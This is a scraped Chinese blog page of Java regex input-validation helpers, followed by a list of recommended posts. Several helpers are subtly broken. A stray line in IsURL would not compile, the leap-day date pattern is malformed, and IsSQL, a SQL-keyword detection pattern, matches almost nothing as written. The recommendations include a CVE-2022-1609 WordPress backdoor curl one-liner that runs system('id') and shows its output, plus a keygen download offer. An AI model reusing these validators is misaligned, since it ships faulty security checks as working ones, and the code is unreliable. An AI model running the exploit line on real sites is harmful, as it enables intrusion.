Java后端常用正则表达式输入性校验(例如手机号,座机号,邮箱,网络地址,姓名,日期,IP地址等)汇总_秋9的博客-程序员宝宝

技术标签: JAVA  检查姓名  检查手机号  Java后端校验  正则表达式输入性校验  输入性校验  

Java后端常用正则表达式输入性校验汇总,分享给大家。

源码下载地址

直接上Java代码:

    /**
     * //验证数据的正则表达式
                  检查是否非负浮点数
    /// <param name="InPut">要检查的字串</param>
    /// <returns>bool</returns>
     * @param InPut
     * @return
     */
    public static boolean IsNumeric(String InPut)
    {
        String reg = "^\\d+(\\.\\d+)?$";
        return Pattern.matches(reg, InPut);
    } 

    /// <summary>
    /// 检察是否正确的Email格式
    /// </summary>
    /// <remarks>修改时间:2012-11-01</remarks>
    /// <param name="str">要检查的字串</param>
    /// <returns>bool</returns>
    public static boolean IsEmail(String InPut)
    {
        String reg = "^([a-z0-9A-Z]+[-|_|\\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,}$";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的座机号码
    /// </summary>
    /// <remarks>修改时间:2012-11-01</remarks>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsPhone(String InPut)
    {
       // return Regex.IsMatch(InPut, @"(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}");
        String reg = "(\\(\\d{3,4}\\)|\\d{3,4}-|\\s)?\\d{8}";
         return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的手机号码
    /// </summary>
    /// <remarks>修改时间:2012-11-01</remarks>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsMobilePhone(String InPut)
    {
        String reg = "^(((13[0-9])|(15([0-3]|[5-9]))|(18[0,5-9]))\\d{8})|(0\\d{2}-\\d{8})|(0\\d{3}-\\d{7})$";
         return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的传真号码
    /// </summary>
    /// <remarks>修改时间:2012-11-01</remarks>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsFax(String InPut)
    {
        //return Regex.IsMatch(InPut, @"^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$");
        String reg = "^[+]{0,1}(\\d){1,3}[ ]?([-]?((\\d)|[ ]){1,12})+$";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的邮编号码
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsCode(String InPut)
    {
        //return Regex.IsMatch(InPut, @"^\d{6}$");
        String reg = "^\\d{6}$";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的网络地址
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsInternetUrl(String InPut)
    {
        //return Regex.IsMatch(InPut, @"[a-zA-z]+://[^\s]*");
        String reg = "[a-zA-z]+://[^\\s]*";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的姓名
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsName(String InPut)
    {
       // return Regex.IsMatch(InPut, @"[a-zA-Z]{1,20}|[\u4e00-\u9fa5]{1,10}");
        String reg = "[a-zA-Z]{1,20}|[\u4e00-\u9fa5]{1,10}";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检查是否正确的英文名
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsEName(String InPut)
    {
        //return Regex.IsMatch(InPut, @"[a-zA-Z]{1,20}");
        String reg = "[a-zA-Z]{1,20}";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 检察是否正确的日期格式
    /// </summary>
    /// <param name="str">要检查的字串</param>
    /// <returns>bool</returns>
    public static boolean IsDate(String InPut)
    {
        //考虑到了4年一度的366天,还有特殊的2月的日期
        /*Regex reg = new Regex(@"^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29-))$");
        return reg.IsMatch(InPut);*/
        String reg = "^((((1[6-9]|[2-9]\\d)\\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\\d|3[01]))|(((1[6-9]|[2-9]\\d)\\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\\d|30))|(((1[6-9]|[2-9]\\d)\\d{2})-0?2-(0?[1-9]|1\\d|2[0-8]))|(((1[6-9]|[2-9]\\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29-))$";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 是否是SQL语句
    /// </summary>
    /// <param name="str">要检查的字串</param>
    /// <returns>bool</returns>
    public static boolean IsSQL(String InPut)
    {
       /* Regex reg = new Regex(@"\?|Truncate%20|Truncate\s+|ALTER%20|ALTER\s+|select%20|select\s+|insert%20|insert\s+|delete%20|delete\s+|count\(|drop%20|drop\s+|update%20|update\s+", RegexOptions.IgnoreCase);

        return reg.IsMatch(InPut);*/
        String reg = "\\?|Truncate%20|Truncate\\s+|ALTER%20|ALTER\\s+|select%20|select\\s+|insert%20|insert\\s+|delete%20|delete\\s+|count\\(|drop%20|drop\\s+|update%20|update\\s+";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 是否为IP
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsIP(String InPut)
    {
        //return Regex.IsMatch(InPut, @"^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$");
        String reg = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])$";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 是否为URL
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <returns>bool</returns>
    public static boolean IsURL(String InPut)
    {
        主要是文章采集用的,匹配比较松。
        //return Regex.IsMatch(InPut, @"^(http|ftp|file)://.*");
       // return Regex.IsMatch(InPut, @"^(http|ftp|file)://.*");
        String reg ="^(http|ftp|file)://.*";
        return Pattern.matches(reg, InPut);
    }

    /// <summary>
    /// 是否为正确的机构编码
    /// </summary>
    /// <param name="InPut">要检查的字符串</param>
    /// <param name="IsParent">是否为根节点</param>
    /// <returns>bool</returns>
    public static boolean IsUnitCode(String InPut, Boolean IsParent)
    {
        if (IsParent)
            return Pattern.matches("([a-zA-Z0-9]{3}).([a-zA-Z0-9]{3}).([a-zA-Z0-9]{3})", InPut);
        else
            return Pattern.matches("[a-zA-Z0-9]{3}", InPut);
    }


    //验证身份证号码
    /// <summary> 
    /// 验证身份证号码 
    /// </summary> 
    /// <param name="Id">身份证号码</param> 
    /// <returns>验证成功为True,否则为False</returns> 
   /* public static boolean CheckIDCard(String Id)
    {
        if (Id.length() == 18)
        {
            boolean check = CheckIDCard18(Id);
            return check;
        }
        else if (Id.length() == 15)
        {
            boolean check = CheckIDCard15(Id);
            return check;
        }
        else
        {
            return false;
        }
    }

源码下载地址 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/jlq_diligence/article/details/89325573

智能推荐

【 MATLAB 】使用 MATLAB 得到高密度谱(补零得到DFT)和高分辨率谱(获得更多的数据得到DFT)的方式对比(附MATLAB脚本)_李锐博恩的博客-程序员宝宝

上篇博文分析了同一有限长序列在不同的N下的DFT之间的不同: MATLAB 】使用 MATLAB 作图讨论有限长序列的 N 点 DFT(强烈推荐)(含MATLAB脚本)那篇博文中,我们通过补零的方式来增加N,这样最后的结论是随着N的不断增大,我们只会得到DTFT上的更多的采样点,也就是说频率采样率增加了。通过补零,得到高密度谱(DFT),但不能得到高分辨率谱,因为补零并没有任何新的信息附加到这...

【STM32 嵌入式系列】..\OUT\STM32TEST.axf: error: L6031U: Could not open scatter description file_-ATAO----的博客-程序员宝宝

使用keil4的时候发现这个报了一个错误…\OUT\STM32TEST.axf: error: L6031U: Could not open scatter description file …\OUT\STM32TEST.sct: NNot enough information to list image symbols.Not enough information to list the image map.其实是没有注册使用管理员打开注册后就不会报错了附带2032年的注册机下载链接

CVE-2022-1609 WordPress Weblizar Backdoor_三鲜水饺子的博客-程序员宝宝

$curl-s-d'blowfish=1'-d"blowf=system('id');"'http://localhost:8888/wp-json/am-member/license'uid=33(www-data)gid=33(www-data)groups=33(www-data)

STC单片机输出可调的pwm_stc单片机pwm频率可调_init_bin的博客-程序员宝宝

第一步:首先是要配置相关的PCA寄存器  比如我们配置CCP0引脚输出PWM。//  PCA0初始化AUXR1 &amp;amp;= ~0x30;AUXR1 |= 0x10;//切换IO口, 0x00: P1.2 P1.1 P1.0 P3.7,  0x10: P3.4 P3.5 P3.6 P3.7, 0x20: P2.4 P2.5 P2.6 P2.7CCAPM0   = 0x42; ...

ARM_s5pv210_arm_10_yjlzxfha的博客-程序员宝宝

S5PV210启动原理: 启动过程: 开发板通过拨码开关设定为从Nand flash启动 u-boot.bin(启动程序\引导程序),烧写在Nand Flash的0地址 1.开发板上电,CPU最先执行IROM(被映射在0地址)中的代码,此代码是三星固化好的。(IROM由硬件将其映射在0地址,因此,系统上电,默认到0地址找程序执行)2.IROM判断拨码开关,从哪种设备启动系统,IROM就到Na

cvCaptureFromCam is working but cvQueryFrame returns NULL_hehainan_86的博客-程序员宝宝

今天遇到这样一个问题,跟国外一个哥们遇到的问题一样http://stackoverflow.com/questions/6871088/cvcapturefromcam-is-working-but-cvqueryframe-returns-nullcvCaptureFromCam is working but cvQueryFrame returns NULL弄了一天了,笔记本上的摄

随便推点

KINGBASE V7 行转列_kingbase 列传行_我是东山的博客-程序员宝宝

KINGBASE 数据库是基于PostgreSQL内核研发的国产数据库,在应用开发过程中想使用列转行函数,发现KINGBASE V7版本没有,PostgreSQL 列转行函数试试STRING_AGG。没有没关系,我们可以自定义函数来实现列转行,高版本的KINGBASE会支持列转行函数。--创建测试表 CREATE TABLE TESTHAHA(ID INT,DATA_TIME...

QCAD二次开发:利用javascripts脚本编辑自己的菜单和工具栏_小火车1204的博客-程序员宝宝

一、创建文件夹结构1、在../qcad/scripts/路径下创建MyScripts文件夹2、在MyScripts文件夹中创建一个文本文件“MyScripts.js”;3、 在MyScripts文件夹中创建另外一个文件夹来提供一个命令Action,如命名为“MyAction”;4、在MyAction文件夹中创建一个文本文件MyAction.js;目录结构如下图所示二、创建菜单和动作...

Linux系统的休眠与唤醒简介_debian8下的/sys/power/state_tron的博客-程序员宝宝

转文地址:http://blog.163.com/[email protected]/blog/static/1268082432010310103037253/系统挂起(Suspend)是电源管理(APM&ACPI)的一个特性,给用户带来了很大的方便。Linux在2.6系列核心中对电源管理有了较好的支持,下面就谈谈Linux对系统挂起的支持情况。Linux对系统挂起的支持  Li

MySql数据库连接池_无悔_一叶扁舟的博客-程序员宝宝

1)传统方式找DriverManager要连接,数目是有限的。

clutter-1.0 动画效果学习_「已注销」的博客-程序员宝宝

一.ClutterAnimation这个类实现的功能比较简单,而且,最主要是,进行动画演示后,actor的外观不会回归原来的位置,必须要经过时间轴反转变回原来的的状态.二.ClutterAnimator:比较喜欢clutter_animator_set函数,可以指定起点,过程关键点,以及终点,而且每次都可以按照这个路径运行效果,对于一些单向重复的过程很有用.

群晖3617可以有几个网卡_Nvme pcie有线千兆网卡_weixin_39868414的博客-程序员宝宝

经常见到主板上有个固态接口,叫做nvme pcie固态盘接口,专业的名称叫做m.2/ngff keym nvme pcie4x(2x/1x)接口,一般商家都会和用户说这个接口可以装nvme固态硬盘。这样的接口仅仅是装nvme固态硬盘吗?当然不是,从这个接口名称的字面看,有 pcie4x(2x/1x)这段关键字,就是说这样的接口是有pcie协议通道的,只是换了接口形式,和常见的pcie接口不一样而已...

推荐文章

热门文章

相关标签